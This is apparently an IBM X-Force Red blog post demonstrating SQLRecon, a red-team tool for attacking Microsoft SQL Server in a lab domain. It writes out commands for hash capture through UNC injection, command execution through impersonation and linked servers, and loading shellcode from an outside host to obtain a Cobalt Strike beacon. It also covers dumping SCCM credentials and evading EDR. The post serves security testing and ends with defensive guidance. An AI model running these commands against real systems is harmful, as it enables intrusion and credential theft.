20 min read
Over the course of my career, I’ve had the privileged opportunity to peek behind the veil of some of the largest organizations in the world. In my experience, most industry verticals rely on enterprise Windows networks. In fact, I can count on one hand the number of times I have seen a decentralized zero-trust network, enterprise Linux, macOS network, or Active Directory alternative (FreeIPA).
As I navigate my way through these large and often complex enterprise networks, it is common to discover Microsoft SQL Servers, which have typically been deployed to support a business function. For readers who are unfamiliar with SQL Server, the long and short is that it’s a relational database software usually installed on top of a Windows server. The primary purpose of SQL Server is to store and provide data to applications or users.
This blog post will review the attack surface that is presented by SQL Server, and how to abuse misconfigurations and vulnerabilities using X-Force Red’s tool
The vulnerabilities and misconfigurations in SQL Server have been well documented. While these weaknesses have seemingly always existed, somehow hardening SQL Server continues to be often overlooked by defensive teams. I am mostly referring to hardening the underlying configuration and preventing trivial access to the service.
One plausible justification for this oversight is that there are bigger risks an organization needs to prioritize and address. As a result, hardening SQL Server falls to the wayside, as tinkering with production database configurations may result in availability issues, which could manifest into operational issues and ultimately impact business productivity.
Industry newsletter
Stay up to date on the most important—and intriguing—industry trends on AI, automation, data and beyond with the Think newsletter. See the IBM Privacy Statement.
Your subscription will be delivered in English. You will find an unsubscribe link in every newsletter. You can manage your subscriptions or unsubscribe here. Refer to our IBM Privacy Statement for more information.
One of the most common misconfigurations I continue to see in enterprise networks is the ability for any authenticated domain object to connect to the SQL service as a low privilege account. This only requires a valid domain context. In other words, a valid token for a domain user or domain computer account.
To illustrate an example, if the workstation of a regular business user is compromised and a network route exists to a misconfigured SQL Server, it is possible for an adversary to:
These are just some examples of what an adversary can achieve when assessing a misconfigured SQL Server within a domain context. The attack surface presented by SQL Server will always depend on the environment and configuration you are facing.
In recent times, red team operators have been nothing short of blessed by the variety of Active Directory abuses that can be leveraged to elevate privileges in enterprise Microsoft networks. However, as defensive teams start to get a handle on mitigating these weaknesses, naturally the avenues to escalate privileges through abusing Active Directory tend to dry up.
Still, we soldier on and make our way down the proverbial list of attacks, optimistically seeking escalation paths that will aid us in acting on our objectives. I’m somewhat reluctant to admit that for a long time, attacking SQL Server was quite far down the list for me. Instead, I opted to prioritize things like shared storage spaces, internal web applications, DevOps tooling, or cloud infrastructure. You can probably see where I am going with this …
At some point in 2022, I was on an engagement and had reached a stalling point after exhausting all the preferred escalation paths. This was largely due to an exceptionally well-hardened environment. At least, that was what I thought before I discovered a large SQL Server farm, where there just had to be a misconfiguration or vulnerability.
Unbeknownst to me at the time, and only after writing this blog post, I discovered that Kaspersky found that reoccurring attacks using SQL Server had risen by 56% in 2022. That is a staggering amount.
As a red team operator, I often interact with systems I have compromised in our clients’ networks using a command and control (C2) framework. The clients we are fortunate enough to work with usually have mature cyber-security programs, capable defensive teams, and modern security controls, such as endpoint detection and response (EDR) solutions.
There have been several tools developed over the years to attack SQL Server. The one that I always ended up reaching for during my pen-testing days was
EDR solutions can be a formidable opponent to go up against as they do a fantastic job detecting malicious open-source tooling designed for offensive security, especially those that rely on PowerShell. That’s not to slight PowerShell post-exploitation tooling, they serve a purpose, just not for the problem I was facing in the environment I was in.
The problem I was facing on my engagement was that I needed to find a way to connect to Microsoft SQL Servers and begin interrogating them to determine if there were any misconfigurations or vulnerabilities. However, using any of the existing SQL Server post-exploitation tools, which rely on PowerShell, would have been a sure-fire way of getting caught by the defensive team. This is due to a variety of reasons, which I won’t pour over in detail, but PowerShell is not an ideal harness to sling your post-exploitation attacks due to security features such as AMSI, constrained language mode, and various styles of logging. This is only further compounded when an EDR solution, and other logging and monitoring controls are in place.
As an alternative, red team operators often choose C# as a language to develop post-exploitation tooling with, as it provides an easy way to interface with the .NET framework along with Windows APIs.
By no means am I a C# or .NET developer, but I know just about enough to write tools that solve a problem I am facing. Queue
, a C# SQL toolkit designed for offensive reconnaissance and post-exploitation.
Authentication Providers
Enumeration Modules
Command Execution, Lateral Movement and Privilege Escalation
Operational Security
Other
For detailed usage information on each technique, please refer to the wiki.
To set the stage for the upcoming demonstrations, I will be operating off a compromised Windows 10 workstation that belongs to Jeff Smith
Jeff’s workstation has a network route to three SQL Servers, each of which are running different versions; 2016, 2019 and 2022.
A SQL link has been configured between
In addition, an Active Directory Services (ADSI) link exists between
Lastly, the
Figure 1: Network configuration
Furthermore, I will be leveraging Cobalt Strike, which is a popular command-and-control framework, to perform post-exploitation tasks from Jeff’s compromised workstation
Figure 2: Issuing the whoami command
At the time of writing,SQLRecon
domain, there is an SPN set for a couple of different accounts, this is demonstrated in the screenshot below.
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
Figure 3: Discovering SQL Servers via SPN collection
The
SQLRecon.exe /a:WinToken /h:SQL02 /m:info
Figure 4: Obtaining information about SQL02
Shout out to Daniel Duggan (@_RastaMouse) for his contributions to the enumeration modules in
Standard modules are executed against a single instance of SQL Server.
In the following example, I use the
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
Figure 5: Enumerating SQL privileges for
By default,
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
Figure 6: Enumerating databases on
You can connect to other databases by specifying the database name with the /
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
Figure 7: Obtaining dummy card data from the
Moving into some more interesting modules,
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
Figure 8: UNC path injection
In the following screenshot, we can see the connection being made by
Figure 9: Obtaining the NetNTLMv2 hash for
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
Figure 10: Demonstration of guardrail preventing command execution from taking place
As seen in the image above, an execution guardrail is encountered, and an error message is received which indicates that
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
Figure 11: Demonstration of another guardrail, where insufficient privileges prevents command execution from taking place
As expected, the low privilege
SQL impersonation is a special permission that essentially enables a user or group to operate with the permission of another user, as well as with their own permissions. The following screenshot is taken from the backend configuration of
Figure 12:
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
As seen in the screenshot below, the
Figure 13: Enumerating accounts that can be impersonated on
To demonstrate another command execution module,
Impersonation modules are always prepended with the letter
a:WinToken /h:SQL02 /i:sa /m:iEnableOle
Figure 14: Enabling OLE Automation Procedures using impersonation
Now that OLE Automation Procedures is enabled on
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
Figure 15: Using PowerShell to list a directory on a remote host
As seen in the screenshot above, a randomly generated OLE object and method gets created, the malicious command is then executed, and the OLE objects are destroyed. This is intentional as we don’t want to leave behind any evidence of our actions.
In the following screenshot, we can see the connection being made by the
Figure 16: Obtaining the NetNTLMv2 hash for
The following example demonstrates using impersonation to execute the
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
Figure 17: Enabling
It is always good practice to revert configurations back to the state they were originally in.
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
Figure 18: Disabling OLE Automation Procedures and
Figure 19:
Configuring a link from one SQL Server instance to another often requires a set of privileged credentials to establish and bind the link. This is beneficial for adversaries as it allows commands to be executed on the linked SQL Server in context of the account which has established the connection. Another point of consideration is that linked servers may be segmented from the network that an adversary is operating on. This could present the opportunity to traverse segmentation boundaries and enter a network zone of higher security requirements.
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
Figure 20: Enumerating linked SQL servers on
Linked modules are always prepended with the letter
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
Figure 21: Enumerating SQL privileges that we can assume on
As seen in the screenshot above, we are operating in context of the
All execution modules in
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
Figure 22: Enabling CLR integration on
CLR integration allows custom .NET assembles to be imported into SQL Server. These assemblies are stored inside of a stored procedure before they get executed. This is a nice lateral movement attack primitive.
In the following screenshot, I create a custom SQL Server CLR compatible .NET assembly called
Figure 23:
If you are interested in learning more about custom SQL Server CLR compatible .NET assemblies, please visit the Clr section of the
In the following demonstration, I have uploaded
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
Figure 24: Obtaining a Cobalt Strike beacon in context of
Of course, the previous example requires that
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
Figure 25: Obtaining a Cobalt Strike beacon in context of
Figure 26:
Configuring an ADSI link from an instance of SQL Server to an Active Directory domain controller does not necessarily require privileged credentials. However, during real-world operations, I have seen cases where the principle of least privilege has not been applied.
In the following example, I use the
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
Figure 27: Enumerating links on
Now that we have verified that an ADSI link exists on
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
Figure 28: Double-link ADSI credential gathering attack
One of the biggest extensions to
I’ll simply refer to both ECM and SCCM as SCCM from this point onwards.
In the following example, I use the databases module to enumerate the
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
Figure 29: Enumerating databases on
As seen in the screenshot above, the
SCCM modules are always prepended with the letter
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Figure 30: Enumerating all users that can log in to SCCM via the SCCM SQL Server database
It is also possible to enumerate tasks that have been configured in SCCM by using the
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Figure 31: Enumerating tasks configured in SCCM via the SCCM SQL Server database
SCCM will usually need to vault credentials, which are used to authenticate to systems or resources in an environment to deploy software packages or perform any of the other various actions provided by SCCM. Using the
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
Figure 32: Obtaining vaulted credentials via the SCCM SQL Server database
In the screenshot above, we can see that one credential has been vaulted, and this is the credential for the
Using Adam Chester’s (@_xpn_) logic, it is possible to decrypt SCCM vaulted credentials and obtain the cleartext password for vaulted accounts. This does require local administrator privileges on the SCCM server. In the following screenshot, I use the
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
Figure 33: Decrypting vaulted SCCM credentials
To prevent attackers from abusing SQL Server, defenders can take a layered approach when implementing security controls. First and foremost, I would highly suggest reading the official Microsoft guidance on SQL Server security best practices.
The next stop should be the prevention, detection, and mitigation guidance in the
The following security controls should be considered for implementation at the network level.
workstations and servers in the environment.
Attacks against SQL Server continue to be relevant in today’s cybersecurity landscape. Adversaries are constantly evolving their techniques to evade defensive controls, and in doing so, they are increasingly exploiting ancillary services, such as SQL Server. These attacks have become more sophisticated and stealthier, often employing less common techniques to bypass traditional security measures.
By abusing SQL Server, adversaries can gain unauthorized access to sensitive data, manipulate databases, and even compromise entire systems. The consequences of such attacks can be severe, resulting in data breaches, financial losses, and damage to an organization’s reputation.
To mitigate the risk of these attacks, it is crucial for organizations to review their SQL Server configurations and adopt best practices for security. Moreover, organizations should invest in security solutions that provide real-time monitoring, anomaly detection, and behavioral analysis capabilities. These solutions can help detect and respond to attacks more effectively, minimizing the potential impact on critical data and systems. By taking proactive measures to secure SQL Server environments, organizations can significantly reduce the risk of falling victim to these attacks and protect their valuable data assets.
You can always find the latest stable version of
If you’re attending Black Hat Las Vegas and are interested in learning more you can attend my session: Abusing Microsoft SQL Server with SQLRecon on Thursday, August 10 at 1:00 pm PT.
IBM web domains
ibm.com, ibm.org, ibm-zcouncil.com, insights-on-business.com, jazz.net, mobilebusinessinsights.com, promontory.com, proveit.com, ptech.org, s81c.com, securityintelligence.com, skillsbuild.org, softlayer.com, storagecommunity.org, think-exchange.com, thoughtsoncloud.com, alphaevents.webcasts.com, ibm-cloud.github.io, ibmbigdatahub.com, bluemix.net, mybluemix.net, ibm.net, ibmcloud.com, galasa.dev, blueworkslive.com, swiss-quantum.ch, blueworkslive.com, cloudant.com, ibm.ie, ibm.fr, ibm.com.br, ibm.co, ibm.ca, community.watsonanalytics.com, datapower.com, skills.yourlearning.ibm.com, bluewolf.com, carbondesignsystem.com, openliberty.io